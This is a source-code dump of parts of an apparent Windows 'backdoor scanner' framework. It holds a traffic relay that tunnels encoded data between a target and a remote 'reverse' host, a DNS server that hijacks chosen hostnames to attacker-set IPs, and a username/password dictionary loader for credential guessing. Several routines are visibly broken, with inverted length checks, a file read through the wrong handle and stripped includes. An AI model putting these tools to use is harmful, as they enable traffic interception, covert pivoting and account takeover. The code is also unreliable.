https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/scanner_framework/network_encoder.cpp
--------------------------------------------------------------------------------
/scanner_framework/network_encoder.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORK_ENCODER_H__
3 | #define _NETWORK_ENCODER_H__
4 |
5 | unsigned int network_encode(char* encode_string,unsigned int encode_string_length_) ;
6 | void network_decode(char* decode_string,unsigned int decode_string_length);
7 |
8 | #endif
9 |
--------------------------------------------------------------------------------
/scanner_framework/network_route.cpp:
--------------------------------------------------------------------------------
1 |
2 | #pragma warning (disable:4786)
3 |
4 | #include
5 |
6 | #include
7 | #include
8 |
9 | #include
10 |
11 | #include "network_encoder.h"
12 | #include "network_route.h"
13 | #include "scan_tcp.h"
14 |
15 |
16 | using std::string;
17 | using std::pair;
18 | using std::vector;
19 |
20 |
21 | typedef pair pair_thread;
22 | typedef pair pair_handle;
23 | typedef pair port;
24 | typedef vector port_list;
25 |
26 |
27 | port_list route_list;
28 |
29 |
30 | static void network_route_thread_tunnal(pair_handle* pair_socket) {
31 | char recv_buffer[PACKET_RECV_BUFFER]={0};
32 |
33 | while (true) {
34 | unsigned int recv_length=scan_tcp_recv(pair_socket->first,recv_buffer,PACKET_RECV_BUFFER);
35 |
36 | if (-1==recv_length || !recv_length)
37 | break;
38 |
39 | network_decode(recv_buffer,recv_length);
40 | scan_tcp_send(pair_socket->second,recv_buffer,recv_length);
41 | memset(recv_buffer,0,recv_length);
42 | }
43 |
44 | // delete pair_socket;
45 | }
46 |
47 | static void network_route_thread_local(pair_handle* pair_socket) {
48 | char recv_buffer[PACKET_RECV_BUFFER]={0};
49 |
50 | while (true) {
51 | unsigned int recv_length=scan_tcp_recv(pair_socket->first,recv_buffer,PACKET_RECV_BUFFER);
52 |
53 | if (-1==recv_length || !recv_length)
54 | break;
55 |
56 | recv_length=network_encode(recv_buffer,recv_length);
57 | scan_tcp_send(pair_socket->second,recv_buffer,recv_length);
58 | memset(recv_buffer,0,recv_length);
59 | }
60 |
61 | // delete pair_socket;
62 | }
63 |
64 | bool network_route(const char* remote_ip,unsigned int remote_port,const char* reverse_ip,unsigned int reverse_port) {
65 | unsigned int remote_handle=scan_tcp_connect(remote_ip,remote_port);
66 | unsigned int reverse_handle=scan_tcp_connect(reverse_ip,reverse_port);
67 |
68 | if (-1!=remote_handle && -1!=reverse_handle) {
69 | HANDLE remote_thread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_route_thread_local,new pair_handle(remote_handle,reverse_handle),NULL,NULL);
70 | HANDLE reverse_thread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_route_thread_tunnal,new pair_handle(reverse_handle,remote_handle),NULL,NULL);
71 |
72 | if (INVALID_HANDLE_VALUE!=remote_thread && INVALID_HANDLE_VALUE!=reverse_thread) {
73 | // no static but you can custom it ! ..
74 | return true;
75 | }
76 | }
77 | scan_tcp_disconnect(remote_handle);
78 | scan_tcp_disconnect(reverse_handle);
79 | return false;
80 | }
81 |
--------------------------------------------------------------------------------
/scanner_framework/network_route.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORK_ROUTE_H__
3 | #define _NETWORK_ROUTE_H__
4 |
5 | bool network_route(const char* remote_ip,unsigned int remote_port,const char* reverse_ip,unsigned int reverse_port);
6 |
7 | #endif
8 |
--------------------------------------------------------------------------------
/scanner_framework/network_server_dns.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include
8 | #include
9 |
10 | #include
11 | #include
12 |
13 | #include "local_network.h"
14 | #include "network_server_dns.h"
15 |
16 | using std::string;
17 | using std::vector;
18 |
19 | #define DNS_PORT 53
20 | #define DNS_QUERY_TYPE 0x1
21 | #define DNS_SEND_BUFFER 1024
22 | #define DNS_RECV_BUFFER 1024
23 |
24 | #pragma comment (lib,"ws2_32")
25 |
26 | #pragma pack(1)
27 |
28 | typedef struct {
29 | unsigned short id;
30 | unsigned short flags;
31 | unsigned short quests;
32 | unsigned short answers;
33 | unsigned short author;
34 | unsigned short addition;
35 | } dns,*point_dns;
36 |
37 | typedef struct {
38 | unsigned char *name;
39 | unsigned short type;
40 | unsigned short classes;
41 | } query,*point_query;
42 |
43 | typedef struct {
44 | unsigned short name;
45 | unsigned short type;
46 | unsigned short classes;
47 | unsigned long ttl;
48 | unsigned short length;
49 | unsigned long addr;
50 | } response,*point_response;
51 |
52 | #pragma pack(4)
53 |
54 | typedef struct {
55 | string host;
56 | string ip;
57 | } dns_host_entry;
58 | typedef vector dns_host_entry_list;
59 |
60 | SOCKET dns_sock=SOCKET_ERROR;
61 | HANDLE dns_thread_handle=INVALID_HANDLE_VALUE;
62 | CRITICAL_SECTION dns_thread_signal={0};
63 | dns_host_entry_list dns_host_list;
64 | bool loop_flag=true;
65 |
66 | static char* conver_host(char* input_host) {
67 | if (NULL==input_host) return NULL;
68 |
69 | char* output_string=NULL;
70 | char* host=input_host;
71 | unsigned short alloc_length=0;
72 | while ('\0'!=*host) {
73 | alloc_length+=*(unsigned char*)host+1;
74 | host=(char*)(input_host+alloc_length);
75 | }
76 | output_string=(char*)malloc(alloc_length);
77 | memset(output_string,0,alloc_length);
78 | unsigned short read_point=0;
79 | while ('\0'!=*input_host) {
80 | unsigned char read_length=*input_host++;
81 | memcpy((char*)(output_string+read_point),input_host,read_length);
82 | *(char*)(output_string+read_point+read_length)='.';
83 | read_point+=read_length+1;
84 | input_host+=read_length;
85 | }
86 | *(char*)(output_string+read_point-1)='\0';
87 |
88 | return output_string;
89 | }
90 |
91 | static void network_server_dns_thread(void) {
92 | while (loop_flag) {
93 | char recv_buffer[DNS_RECV_BUFFER]={0};
94 | sockaddr_in remote;
95 | int remote_length=sizeof(remote);
96 | int recv_length=recvfrom(dns_sock,recv_buffer,DNS_RECV_BUFFER,0,(sockaddr*)&remote,&remote_length);
97 | if (SOCKET_ERROR!=recv_length) {
98 | point_dns dns_=(point_dns)recv_buffer;
99 | point_query query_=(point_query)&recv_buffer[sizeof(dns)];
100 | unsigned short query_type=ntohs(*(unsigned short*)((unsigned long)query_+strlen((const char*)query_)+1));
101 | if (DNS_QUERY_TYPE==query_type) {
102 | bool hijack_flag=false;
103 | char* query_host=conver_host((char*)query_);
104 | unsigned int query_total=ntohs(dns_->quests);
105 |
106 | string host_ip;
107 | EnterCriticalSection(&dns_thread_signal);
108 | for (dns_host_entry_list::iterator entry_list_iterator=dns_host_list.begin();
109 | entry_list_iterator!=dns_host_list.end();
110 | ++entry_list_iterator) {
111 | string query_host_(query_host);
112 | if (entry_list_iterator->host==query_host_) {
113 | host_ip=entry_list_iterator->ip;
114 | hijack_flag=true;
115 | break;
116 | }
117 | }
118 | LeaveCriticalSection(&dns_thread_signal);
119 | free(query_host);
120 |
121 | if (hijack_flag) {
122 | char send_buffer[DNS_SEND_BUFFER]={0};
123 | response response;
124 | if (host_ip.empty())
125 | response.addr=inet_addr(local_ip);
126 | else
127 | response.addr=inet_addr(host_ip.c_str());
128 | response.length=htons(4);
129 | response.classes=htons(1);
130 | response.ttl=htonl(300);
131 | response.type=htons(query_type);
132 | response.name=htons(0xC00C);
133 | dns_->flags=htons(0x8180);
134 | dns_->answers=htons(1);
135 | memcpy(send_buffer,recv_buffer,recv_length);
136 | memcpy(&send_buffer[recv_length],&response,sizeof(response));
137 | sendto(dns_sock,send_buffer,recv_length+sizeof(response),0,(const sockaddr*)&remote,sizeof(remote));
138 | }
139 | }
140 | } else
141 | break;
142 | }
143 | }
144 |
145 | bool network_server_dns_start(void) {
146 | SOCKET sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
147 |
148 | sockaddr_in local;
149 | local.sin_addr.S_un.S_addr=0;
150 | local.sin_family=AF_INET;
151 | local.sin_port=htons(DNS_PORT);
152 | if (SOCKET_ERROR==bind(sock,(const sockaddr*)&local,sizeof(sockaddr_in)))
153 | return false;
154 |
155 | dns_thread_handle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_server_dns_thread,NULL,NULL,NULL);
156 | if (INVALID_HANDLE_VALUE==dns_thread_handle) {
157 | closesocket(sock);
158 | return false;
159 | }
160 | InitializeCriticalSection(&dns_thread_signal);
161 | dns_sock=sock;
162 | return true;
163 | }
164 |
165 | void network_server_dns_add(const char* host,const char* ip) {
166 | EnterCriticalSection(&dns_thread_signal);
167 | for (dns_host_entry_list::iterator entry_list_iterator=dns_host_list.begin();
168 | entry_list_iterator!=dns_host_list.end();
169 | ++entry_list_iterator) {
170 | if (entry_list_iterator->host==host) {
171 | entry_list_iterator->ip=ip;
172 | goto EXIT;
173 | }
174 | }{
175 | dns_host_entry new_entry;
176 | new_entry.host=host;
177 | new_entry.ip=ip;
178 | dns_host_list.push_back(new_entry);}
179 | EXIT:
180 | LeaveCriticalSection(&dns_thread_signal);
181 | }
182 |
183 | void network_server_dns_delete(const char* host) {
184 | EnterCriticalSection(&dns_thread_signal);
185 | for (dns_host_entry_list::iterator entry_list_iterator=dns_host_list.begin();
186 | entry_list_iterator!=dns_host_list.end();
187 | ++entry_list_iterator) {
188 | if (entry_list_iterator->host==host) {
189 | dns_host_list.erase(entry_list_iterator);
190 | goto EXIT;
191 | }
192 | }
193 | EXIT:
194 | LeaveCriticalSection(&dns_thread_signal);
195 | }
196 |
197 | void network_server_dns_close(void) {
198 | DeleteCriticalSection(&dns_thread_signal);
199 | CloseHandle(dns_thread_handle);
200 | dns_thread_handle=INVALID_HANDLE_VALUE;
201 | closesocket(dns_sock);
202 | dns_sock=SOCKET_ERROR;
203 | }
204 |
--------------------------------------------------------------------------------
/scanner_framework/network_server_dns.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORK_SERVER_DNS_
3 | #define _NETWORK_SERVER_DNS_
4 |
5 | bool network_server_dns_start(void);
6 | void network_server_dns_add(const char* host,const char* ip);
7 | void network_server_dns_delete(const char* host);
8 | void network_server_dns_close(void);
9 |
10 | #endif
11 |
--------------------------------------------------------------------------------
/scanner_framework/resolver_dictionary.cpp:
--------------------------------------------------------------------------------
1 |
2 | #pragma warning (disable:4503)
3 | #pragma warning (disable:4786)
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | #include "resolver_dictionary.h"
10 | #include "resolver_string.h"
11 |
12 |
13 | dictionary resolve_dictionary_open(const string dictionary_path) {
14 | dictionary result;
15 | FILE* file_handle=fopen(dictionary_path.c_str(),"r");
16 |
17 | if (NULL!=file_handle) {
18 | fseek(file_handle,0,SEEK_END);
19 | unsigned long file_length=ftell(file_handle);
20 |
21 | if (!file_length) {
22 | char* file_buffer=(char*)malloc(file_length);
23 |
24 | if (NULL!=file_buffer) {
25 | fseek(file_handle,0,SEEK_SET);
26 | memset(file_buffer,0,file_length);
27 | fread(file_buffer,1,file_length,file_handle);
28 | string resolve_string(file_buffer);
29 |
30 | try {
31 | unsigned long resolve_point=find_string(resolve_string,"\r\n");
32 | split_result split;
33 | while (!resolve_point) {
34 | split=split_string(resolve_string,resolve_point);
35 | string line(split.first);
36 | split_result split_line(split_string(line,find_string(line," ")));
37 | left_move_string(split_line.second,1);
38 | string username(split_line.first),password(split_line.second);
39 | left_remove_space(username);
40 | right_remove_space(username);
41 | left_remove_space(password);
42 | right_remove_space(password);
43 | result[username].push_back(password);
44 | resolve_string=split.second;
45 | left_move_string(resolve_string,2);
46 | resolve_point=find_string(resolve_string,"\r\n");
47 | }
48 | } catch (...) {
49 | }
50 | free(file_buffer);
51 | }
52 | }
53 | fclose(file_handle);
54 | }
55 | return result;
56 | }
57 |
58 | dictionary resolve_dictionary_open(const string username_path,const string password_path) {
59 | dictionary result;
60 | password_list password_list_;
61 | FILE* file_username=fopen(username_path.c_str(),"r");
62 | FILE* file_password=fopen(password_path.c_str(),"r");
63 |
64 | if (NULL!=file_username && NULL!=file_password) {
65 | fseek(file_username,0,SEEK_END);
66 | fseek(file_password,0,SEEK_END);
67 | unsigned long file_username_length=ftell(file_username);
68 | unsigned long file_password_length=ftell(file_password);
69 |
70 | if (!file_username_length && !file_password_length) {
71 | char* file_username_buffer=(char*)malloc(file_username_length);
72 | char* file_password_buffer=(char*)malloc(file_password_length);
73 |
74 | if (NULL!=file_username_buffer && NULL!=file_password_buffer) {
75 | fseek(file_username,0,SEEK_SET);
76 | memset(file_username_buffer,0,file_username_length);
77 | fread(file_username_buffer,1,file_username_length,file_username);
78 | fseek(file_password,0,SEEK_SET);
79 | memset(file_password_buffer,0,file_password_length);
80 | fread(file_password_buffer,1,file_password_length,file_username);
81 |
82 | string resolve_username(file_username_buffer);
83 | string resolve_password(file_password_buffer);
84 |
85 | try {
86 | unsigned long resolve_point=find_string(resolve_password,"\r\n");
87 | split_result split;
88 |
89 | while (!resolve_point) {
90 | split=split_string(resolve_password,resolve_point);
91 | left_remove_space(split.first);
92 | right_remove_space(split.first);
93 | password_list_.push_back(split.first);
94 | resolve_password=split.second;
95 | left_move_string(resolve_password,2);
96 | resolve_point=find_string(resolve_password,"\r\n");
97 | }
98 | } catch(...) {
99 | }
100 |
101 | try {
102 | unsigned long resolve_point=find_string(resolve_password,"\r\n");
103 | split_result split;
104 | while (!resolve_point) {
105 | split=split_string(resolve_username,resolve_point);
106 | result.insert(pair(split.first,password_list_));
107 | resolve_username=split.second;
108 | left_move_string(resolve_username,2);
109 | resolve_point=find_string(resolve_username,"\r\n");
110 | }
111 | } catch(...) {
112 | }
113 | free(file_username_buffer);
114 | free(file_password_buffer);
115 | }
116 | }
117 | fclose(file_username);
118 | fclose(file_password);
119 | }
120 | return result;
121 | }
122 |
123 | bool resolve_dictionary_is_empty(const dictionary& in_dictionary) {
124 | return in_dictionary.empty();
125 | }
126 |
127 | unsigned int resolve_dictionary_get_user_count(const dictionary& in_dictionary) {
128 | return in_dictionary.size();
129 | }
130 |
131 | username_list resolve_dictionary_get_user_list(const dictionary& in_dictionary) {
132 | username_list result;
133 |
134 | for (dictionary::const_iterator iterator=in_dictionary.begin();
135 | iterator!=in_dictionary.end();
136 | ++iterator)
137 | result.push_back(iterator->first);
138 |
139 | return result;
140 | }
141 |
142 | unsigned int resolve_dictionary_get_password_count(const dictionary& in_dictionary) {
143 | if (!resolve_dictionary_is_empty(in_dictionary))
144 | return in_dictionary.begin()->second.size();
145 | return 0;
146 | }
147 |
148 | password_list resolve_dictionary_get_password_list(const dictionary& in_dictionary,const string username) {
149 | password_list result;
150 | for (dictionary::const_iterator iterator=in_dictionary.begin();
151 | iterator!=in_dictionary.end();
152 | ++iterator) {
153 | if (username==iterator->first) {
154 | result=iterator->second;
155 | break;
156 | }
157 | }
158 |
159 | return result;
160 | }
161 |
162 | void resolve_dictionary_add_username(dictionary& in_dictionary,const string username) {
163 | if (!in_dictionary.empty()) {
164 | in_dictionary[username]=in_dictionary.begin()->second;
165 | } else {
166 | password_list empty_list;
167 | in_dictionary[username]=empty_list;
168 | }
169 | }
170 |
171 | void resolve_dictionary_add_password(dictionary& in_dictionary,const string password) {
172 | if (!in_dictionary.empty()) {
173 | for (dictionary::iterator iterator=in_dictionary.begin();
174 | iterator!=in_dictionary.end();
175 | ++iterator) {
176 | iterator->second.push_back(password);
177 | }
178 | }
179 | }
180 |
181 | void resolve_dictionary_add_password(dictionary& in_dictionary,const password_list password) {
182 | if (!in_dictionary.empty()) {
183 | for (dictionary::iterator username_iterator=in_dictionary.begin();
184 | username_iterator!=in_dictionary.end();
185 | ++username_iterator) {
186 | for (password_list::const_iterator password_iterator=password.begin();
187 | password_iterator!=password.end();
188 | ++password_iterator) {
189 | username_iterator->second.push_back(*password_iterator);
190 | }
191 | }
192 | }
193 | }
194 |
--------------------------------------------------------------------------------
/scanner_framework/resolver_dictionary.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | #ifndef _RESOVLVER_DICTIONARY_H__
4 | #define _RESOVLVER_DICTIONARY_H__
5 |
6 |
7 | #ifndef _STRING_
8 |
9 | #include
10 |
11 | using std::string;
12 | using std::pair;
13 |
14 | #endif
15 |
16 | #ifndef _MAP_
17 |
18 | #include